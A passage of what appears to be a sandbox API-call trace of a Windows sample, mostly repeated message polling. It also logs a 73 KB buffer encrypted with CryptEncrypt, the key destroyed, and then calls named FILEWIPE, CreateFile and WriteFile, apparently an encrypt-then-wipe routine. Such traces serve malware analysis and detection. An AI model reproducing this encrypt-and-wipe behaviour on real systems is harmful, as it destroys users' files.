lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.072] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.072] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.072] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.072] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064d00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.072] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.074] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.074] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.075] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.076] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.076] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.076] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.076] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.077] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.077] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x11fe7, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x11ff0) returned 1 [0023.077] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.077] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.077] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.077] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.077] CharLowerBuffW (in: lpsz="byte[73713]", cchLength=0xb | out: lpsz="byte[73713]") returned 0xb [0023.077] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.079] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.079] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.080] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.080] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f69a0*, pdwDataLen=0xe8f3dfdf68*=0x11fe7, dwBufLen=0x11ff0 | out: pbData=0xe8f41f69a0*, pdwDataLen=0xe8f3dfdf68*=0x11ff0) returned 1 [0023.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.081] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.084] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.084] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.084] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.086] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.086] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.086] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.086] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.086] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0023.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.086] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.086] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.086] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.087] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.087] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.087] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.087] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.087] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.088] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.088] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.088] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.088] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.088] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.088] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.088] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.088] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.088] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.089] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.089] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.089] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0023.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0xe8f417ad80, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0023.089] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptReleaseContext") returned 0x7ffe2a59e83c [0023.089] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0023.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.090] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.090] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.090] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0023.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.090] CloseHandle (hObject=0x188) returned 1 [0023.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.092] CloseHandle (hObject=0x1fc) returned 1 [0023.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.095] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.095] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.095] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.095] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.095] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.095] CharLowerBuffW (in: lpsz="byte[73703]", cchLength=0xb | out: lpsz="byte[73703]") returned 0xb [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.097] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.097] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.097] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.097] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.098] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.098] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.098] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.099] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.099] PeekMessageW (in: 